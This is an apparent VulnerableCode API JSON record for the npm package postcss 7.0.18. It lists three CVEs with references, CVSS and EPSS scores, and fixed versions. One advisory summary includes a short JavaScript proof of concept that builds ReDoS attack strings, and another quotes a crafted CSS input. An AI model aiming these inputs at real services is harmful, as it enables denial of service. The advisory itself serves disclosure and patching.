Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/241231?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/241231?format=api", "purl": "pkg:npm/postcss@7.0.18", "type": "npm", "namespace": "", "name": "postcss", "version": "7.0.18", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "8.4.31", "latest_non_vulnerable_version": "8.5.10", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/47753?format=api", "vulnerability_id": "VCID-9w43-n9cx-k7ab", "summary": "Regular Expression Denial of Service in postcss\nThe npm package `postcss` from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-23368.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-23368.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2021-23368", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54621", "published_at": "2026-04-26T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54614", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54603", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54632", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54654", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54652", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54531", "published_at": "2026-04-01T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54601", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54625", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54593", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54645", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.5464", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54653", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00315", "scoring_system": "epss", "scoring_elements": "0.54635", "published_at": "2026-04-12T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2021-23368" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23368", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23368" }, { "reference_url": "https://github.com/postcss/postcss/commit/54cbf3c4847eb0fb1501b9d2337465439e849734", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/postcss/postcss/commit/54cbf3c4847eb0fb1501b9d2337465439e849734" }, { "reference_url": "https://github.com/postcss/postcss/commit/8682b1e4e328432ba692bed52326e84439cec9e4", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/postcss/postcss/commit/8682b1e4e328432ba692bed52326e84439cec9e4" }, { "reference_url": "https://github.com/postcss/postcss/commit/b6f3e4d5a8d7504d553267f80384373af3a3dec5", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/postcss/postcss/commit/b6f3e4d5a8d7504d553267f80384373af3a3dec5" }, { "reference_url": "https://lists.apache.org/thread.html/r00158f5d770d75d0655c5eef1bdbc6150531606c8f8bcb778f0627be@%3Cdev.myfaces.apache.org%3E", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.apache.org/thread.html/r00158f5d770d75d0655c5eef1bdbc6150531606c8f8bcb778f0627be@%3Cdev.myfaces.apache.org%3E" }, { "reference_url": "https://lists.apache.org/thread.html/r16e295b4f02d81b79981237d602cb0b9e59709bafaa73ac98be7cef1@%3Cdev.myfaces.apache.org%3E", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.apache.org/thread.html/r16e295b4f02d81b79981237d602cb0b9e59709bafaa73ac98be7cef1@%3Cdev.myfaces.apache.org%3E" }, { "reference_url": "https://lists.apache.org/thread.html/r49afb49b38748897211b1f89c3a64dc27f9049474322b05715695aab@%3Cdev.myfaces.apache.org%3E", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.apache.org/thread.html/r49afb49b38748897211b1f89c3a64dc27f9049474322b05715695aab@%3Cdev.myfaces.apache.org%3E" }, { "reference_url": "https://lists.apache.org/thread.html/r5acd89f3827ad9a9cad6d24ed93e377f7114867cd98cfba616c6e013@%3Ccommits.myfaces.apache.org%3E", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.apache.org/thread.html/r5acd89f3827ad9a9cad6d24ed93e377f7114867cd98cfba616c6e013@%3Ccommits.myfaces.apache.org%3E" }, { "reference_url": "https://lists.apache.org/thread.html/r8def971a66cf3e375178fbee752e1b04a812a047cc478ad292007e33@%3Cdev.myfaces.apache.org%3E", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.apache.org/thread.html/r8def971a66cf3e375178fbee752e1b04a812a047cc478ad292007e33@%3Cdev.myfaces.apache.org%3E" }, { "reference_url": "https://lists.apache.org/thread.html/rad5af2044afb51668b1008b389ac815a28ecea9eb75ae2cab5a00ebb@%3Ccommits.myfaces.apache.org%3E", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.apache.org/thread.html/rad5af2044afb51668b1008b389ac815a28ecea9eb75ae2cab5a00ebb@%3Ccommits.myfaces.apache.org%3E" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23368", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23368" }, { "reference_url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1244795", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1244795" }, { "reference_url": "https://snyk.io/vuln/SNYK-JS-POSTCSS-1090595", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://snyk.io/vuln/SNYK-JS-POSTCSS-1090595" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=1948763", "reference_id": "1948763", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1948763" }, { "reference_url": "https://github.com/advisories/GHSA-hwj9-h5mp-3pm3", "reference_id": "GHSA-hwj9-h5mp-3pm3", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-hwj9-h5mp-3pm3" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2021:2438", "reference_id": "RHSA-2021:2438", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2021:2438" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2021:3917", "reference_id": "RHSA-2021:3917", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2021:3917" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/77232?format=api", "purl": "pkg:npm/postcss@7.0.36", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-f8u5-8mj5-7yc6" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/postcss@7.0.36" }, { "url": "http://public2.vulnerablecode.io/api/packages/77233?format=api", "purl": "pkg:npm/postcss@8.2.10", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-f8u5-8mj5-7yc6" }, { "vulnerability": "VCID-scy5-ccf9-dygp" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/postcss@8.2.10" } ], "aliases": [ "CVE-2021-23368", "GHSA-hwj9-h5mp-3pm3" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-9w43-n9cx-k7ab" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/19246?format=api", "vulnerability_id": "VCID-f8u5-8mj5-7yc6", "summary": "PostCSS line return parsing error\nAn issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\\r` discrepancies, as demonstrated by `@font-face{ font:(\\r/*);}` in a rule.\n\nThis vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2023-44270.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2023-44270.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2023-44270", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00197", "scoring_system": "epss", "scoring_elements": "0.41638", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00197", "scoring_system": "epss", "scoring_elements": "0.41713", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00197", "scoring_system": "epss", "scoring_elements": "0.41691", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00197", "scoring_system": "epss", "scoring_elements": "0.41706", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00197", "scoring_system": "epss", "scoring_elements": "0.41739", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00197", "scoring_system": "epss", "scoring_elements": "0.41716", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00197", "scoring_system": "epss", "scoring_elements": "0.41707", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00197", "scoring_system": "epss", "scoring_elements": "0.41657", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00197", "scoring_system": "epss", "scoring_elements": "0.41729", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00197", "scoring_system": "epss", "scoring_elements": "0.41701", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00219", "scoring_system": "epss", "scoring_elements": "0.44448", "published_at": "2026-04-26T12:55:00Z" }, { "value": "0.00219", "scoring_system": "epss", "scoring_elements": "0.44445", "published_at": "2026-04-24T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2023-44270" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44270", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44270" }, { "reference_url": "https://github.com/github/advisory-database/issues/2820", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-23T16:38:23Z/" } ], "url": "https://github.com/github/advisory-database/issues/2820" }, { "reference_url": "https://github.com/postcss/postcss", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/postcss/postcss" }, { "reference_url": "https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-23T16:38:23Z/" } ], "url": "https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25" }, { "reference_url": "https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-23T16:38:23Z/" } ], "url": "https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5" }, { "reference_url": "https://github.com/postcss/postcss/releases/tag/8.4.31", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-23T16:38:23Z/" } ], "url": "https://github.com/postcss/postcss/releases/tag/8.4.31" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00025.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00025.html" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1053282", "reference_id": "1053282", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1053282" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2326998", "reference_id": "2326998", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2326998" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44270", "reference_id": "CVE-2023-44270", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44270" }, { "reference_url": "https://github.com/advisories/GHSA-7fh5-64p2-3v2j", "reference_id": "GHSA-7fh5-64p2-3v2j", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-7fh5-64p2-3v2j" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2024:10517", "reference_id": "RHSA-2024:10517", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2024:10517" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2024:10908", "reference_id": "RHSA-2024:10908", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2024:10908" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:0654", "reference_id": "RHSA-2025:0654", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:0654" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:0892", "reference_id": "RHSA-2025:0892", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:0892" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:1824", "reference_id": "RHSA-2025:1824", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:1824" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:1829", "reference_id": "RHSA-2025:1829", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:1829" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:1865", "reference_id": "RHSA-2025:1865", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:1865" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:1866", "reference_id": "RHSA-2025:1866", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:1866" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:2652", "reference_id": "RHSA-2025:2652", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:2652" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:3069", "reference_id": "RHSA-2025:3069", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:3069" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/60279?format=api", "purl": "pkg:npm/postcss@8.4.31", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/postcss@8.4.31" } ], "aliases": [ "CVE-2023-44270", "GHSA-7fh5-64p2-3v2j" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-f8u5-8mj5-7yc6" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/52529?format=api", "vulnerability_id": "VCID-scy5-ccf9-dygp", "summary": "Regular Expression Denial of Service in postcss\nThe package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n var ret = \"a{}\"\n for (var i = 0; i < n; i++) {\n ret += \"/*# sourceMappingURL=\"\n }\n return ret + \"!\";\n}\n```\n```js\npostcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {\n if (i % 1000 == 0) {\n var time = Date.now();\n var attack_str = build_attack(i) try {\n postcss.parse(attack_str) var time_cost = Date.now() - time;\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n } catch (e) {\n var time_cost = Date.now() - time;\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n }\n }\n}\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-23382.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-23382.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2021-23382", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21477", "published_at": "2026-04-26T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21856", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.2161", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21686", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21743", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21754", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21714", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21658", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21656", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21663", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21631", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21483", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21632", "published_at": "2026-04-01T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21803", "published_at": "2026-04-02T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2021-23382" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23382", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23382" }, { "reference_url": "https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956" }, { "reference_url": "https://github.com/postcss/postcss/releases/tag/7.0.36", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/postcss/postcss/releases/tag/7.0.36" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23382", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23382" }, { "reference_url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641" }, { "reference_url": "https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=1954150", "reference_id": "1954150", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1954150" }, { "reference_url": "https://github.com/advisories/GHSA-566m-qj78-rww5", "reference_id": "GHSA-566m-qj78-rww5", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-566m-qj78-rww5" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2021:2438", "reference_id": "RHSA-2021:2438", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2021:2438" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2021:3917", "reference_id": "RHSA-2021:3917", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2021:3917" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/77232?format=api", "purl": "pkg:npm/postcss@7.0.36", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-f8u5-8mj5-7yc6" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/postcss@7.0.36" }, { "url": "http://public2.vulnerablecode.io/api/packages/80245?format=api", "purl": "pkg:npm/postcss@8.2.13", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-f8u5-8mj5-7yc6" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/postcss@8.2.13" } ], "aliases": [ "CVE-2021-23382", "GHSA-566m-qj78-rww5" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-scy5-ccf9-dygp" } ], "fixing_vulnerabilities": [], "risk_score": "3.1", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/postcss@7.0.18" }